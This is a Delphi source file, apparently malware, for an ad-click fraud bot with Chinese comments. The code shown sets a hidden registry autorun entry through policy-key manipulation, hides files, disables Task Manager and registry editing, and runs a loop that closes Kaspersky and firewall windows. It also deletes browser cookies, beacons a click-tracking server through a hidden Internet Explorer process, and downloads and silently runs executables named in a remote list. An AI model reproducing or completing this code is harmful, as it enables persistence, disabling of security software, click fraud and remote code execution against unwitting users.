unit Unit1;
{$R 'copyrightA.res'}
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw, StdCtrls,shellApi,urlmon, wininet,shlobj,ExtCtrls,encrypt;

type
  TAnHao_Click = class(TForm)
    TIME_DO: TTimer;
    TIME_All: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure TIME_DOTimer(Sender: TObject);
    procedure TIME_AllTimer(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  AnHao_Click: TAnHao_Click;
  DownUrl:array [0..255] of char;//点击广告配置文件下载路径
  LLUrl,ClickNum,Upurl:array [0..255] of char;//流量配置文件下载路径
  DownSaveA:array [0..255] of char; //广告txt保存路径
  DownSaveL:array [0..255] of char; //流量txt保存路径
  DownSaveC:array [0..255] of char; //剩余点击次数保存路径
  DownSaveDL:array [0..255] of char; //更新txt保存路径
  iename: array [0..255] of char;
  iepath:string ;    //IE 路径
  D_Xy:DWORD;        //点击的坐标
  Int_LL:integer;    //流量定时器计数

  Int_Cr:integer;
  ispost:BOOL;      //点击还是上线
  ClickUrl:STring;  //当前点击网址
implementation

{$R *.dfm}

//系统路径
function syspath():string;
var
  temp: array [0..255] of char;
begin
  GetsystemDirectory(temp,250);
  result:=temp;
end;

//按顶字符串排序分离
function Split(Input: string; Deliminator: string; Index: integer): string;
var
  StringLoop, StringCount: integer;
  Buffer: string;
begin
  Buffer := '';
  if Index < 1 then Exit;
  StringCount := 0;
  StringLoop := 1;
  while (StringLoop <= Length(Input)) do
  begin
    if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
    begin
      Inc(StringLoop, Length(Deliminator) - 1);
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
    Inc(StringLoop, 1);
  end;
  Inc(StringCount);
  if StringCount < Index then Buffer := '';
  Result := Buffer;
end;

//HIV 启动
procedure GetBackPrivilege;
Const
  ADJUST_PRIV  =  TOKEN_QUERY  or  TOKEN_ADJUST_PRIVILEGES;
  SHTDWN_PRIV  ='SeBackupPrivilege';
  PRIV_SIZE      =  sizeOf(TTokenPrivileges);
var
  TokenPriv,  Dummy:  TTokenPrivileges;
  Token:  THandle;
  Len:dWORD;
begin
  OpenProcessToken(GetCurrentProcess(),  ADJUST_PRIV,  Token);
  LookupPrivilegeValue(nil,  SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
  TokenPriv.Privileges[0].Attributes  :=  SE_PRIVILEGE_ENABLED;
  TokenPriv.PrivilegeCount  :=  1;
  AdjustTokenPrivileges(Token,  false,  TokenPriv,  PRIV_SIZE,Dummy,  Len);
end;

procedure GetRestorePrivilege;
var
  TPPrev,TP: TTokenPrivileges;
  TokenHandle: THandle;
  dwRetLen: DWORD;
  lpLuid: TLargeInteger;
begin
  OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
  if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
  begin
    TP.PrivilegeCount:=1;
    TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
    TP.Privileges[0].Luid:=lpLuid;
    AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
  end; 
  CloseHandle(TokenHandle);
end; 

function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey; 
begin
  result := false; 
  RegCreateKey(key,PChar(subkey),regkey);
  if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then 
    result := true;
  RegCloseKey(regkey); 
end;

function SaveKey2(key:integer;subkey,filename:string):Boolean;
var 
  SKey: HKEY;
begin
  Result := false;
  if key = 1 then begin
  RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
  end 
  else
  begin 
  RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
  end; 
  if SKey <> 0 then
  try 
    Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
  finally 
    RegCloseKey(SKey);
  end; 
end;

procedure regstore2(key:integer;subkey,hfile:string);
var 
  key2: hkey;
begin
  if key=1 then
  begin 
  RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
  end 
  else begin
  RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
  end;
  if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
  RegCloseKey(key2);
end;

procedure DoAll(exefile:string);
var
  key:HKEY;
  I:Integer;
begin
  SaveKey2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\1.hiv');
  RegCreateKey(HKEY_CURRENT_USER,PChar('Software\AnHao'),key);
  for i := 1 to 10 do  regstore2(1,'Software\AnHao','c:\1.hiv');
  addreg(HKEY_CURRENT_USER,'Software\AnHao\explorer\run','Hackceo',exefile);
  SaveKey2(1,PChar('Software\AnHao'),'c:\2.hiv');
  for i := 1 to 10 do  regstore2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\2.hiv');
  RegDeleteKey(HKEY_CURRENT_USER,'Software\AnHao');
  RegCloseKey(key);
  DeleteFile('c:\1.hiv');
  DeleteFile('c:\2.hiv');
end;

//删除CCOOKIE
function GetCookiesFolder:string;
var
    pidl:pItemIDList;
    buffer:array [ 0..255 ] of char ;
begin
   SHGetSpecialFolderLocation(
     0 , CSIDL_COOKIES, pidl);

   SHGetPathFromIDList(pidl, buffer);
   result:=strpas(buffer);
end;

function ShellDeleteFile(sFileName: string): Boolean;
var
  FOS: TSHFileOpStruct;
begin
   FillChar(FOS, SizeOf(FOS), 0); {记录清零}
   with FOS do
   begin
       Wnd:=0;
       wFunc := FO_DELETE;//删除
       pFrom := PChar(sFileName);
       fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
   end;
   Result := (SHFileOperation(FOS) = 0);
end;
procedure DelCookie;
var
   dir:string;
begin
   InternetSetOption(nil, INTERNET_OPTION_END_BROWSER_SESSION, nil, 0);
   dir:=GetCookiesFolder;
   ShellDeleteFile(dir+'\*.txt');
end;

// 注册表锁住
procedure Disablesome();
var
  SHK:HKEY;
  KeyValue:DWORD;
begin
  try
    //隐藏文件
    KeyValue:=2;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'Hidden',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
  try
    //文件夹选项锁定
    KeyValue:=0;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'CheckedValue',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
  try
    //禁止任务管理器
    KeyValue:=1;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'DisableTaskMgr',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
  try
    //禁止注册表
    KeyValue:=1;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'DisableRegistryTools',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
end;
function rbl(Hwnd: THandle;
            Param: Pointer): Boolean; stdcall;
var
  bt: array[0..210] of char ;
begin
  getwindowtext(Hwnd,bt,200);
     if ((pos('防火墙',bt)<>0)or (pos('主线程',bt)<>0))then
      begin
        postmessage(hwnd,$0010,0,0) ;
        postmessage(hwnd,$0002,0,0);
        postmessage(hwnd,$0012,0,0);
      end;
  Result :=true  ;
end;

// 杀咔吧 线程 ..
procedure kis ();
var
  HKill:THANDLE;
  KCaption: array[0..200] of char ;
begin
  while (true) do
  begin
    HKill:=GetForegroundWindow()  ;
    GetClassName(HKill,KCaption,200);
    if (pos('AVP',KCaption)<>0) then    //or(pos('AVP',KCaption)<>0)
    begin
      postmessage(HKill,WM_CLOSE,0,0) ;
    end;
    EnumWindows(@rbl,0);
    sleep(20);
  end;
end;
//创建杀卡巴线程
procedure killkis();
var
  kishand:THANDLE;
  kispid:DWORD;
begin             //设置时间
  kishand:=CreateThread(nil, 0, @kis, nil, 0,kispid);
  CloseHandle(kishand);
end;

procedure Sendip();
var
  si: TSTARTUPINFO;
  pi: TProcessInformation;
  Wed:string;
begin
  with si do
  begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
  end;
  if ispost then
  begin
    //点击
    Wed:='Open http://www.damocs.cn/360/click.asp?Url='+ClickUrl;
  end else begin
    Wed:='Open http://www.damocs.cn/360/click.asp?Url=OnLine'; //上线
  end;

  CreateProcess(pchar(iepath),pchar(WED),
             nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, 20000);
  TerminateProcess(pi.hProcess,0);
end;

//-----------------------------------------------------------------------------

// 更新 .
procedure Updata () ;
var
  txtDl:textfile;
  STR_URL,Str_path:string;
begin
  URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);
  if FileExists(DownSaveDL) then
  begin
    try
      assignfile(txtDL,DownSaveDL);
      reset(TxtDL);
      While not Eof(TxtDL) do
      begin
        Readln(TxtDL,Str_Url);
        Readln(TxtDL,Str_Path);
        if (S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then
        begin
          ShellExecute(0,'open',pchar(Str_Path),nil,nil,SW_HIDE);
        end;
      end;
    finally
      CloseFile(TxtDL);
    end;
  end;
end;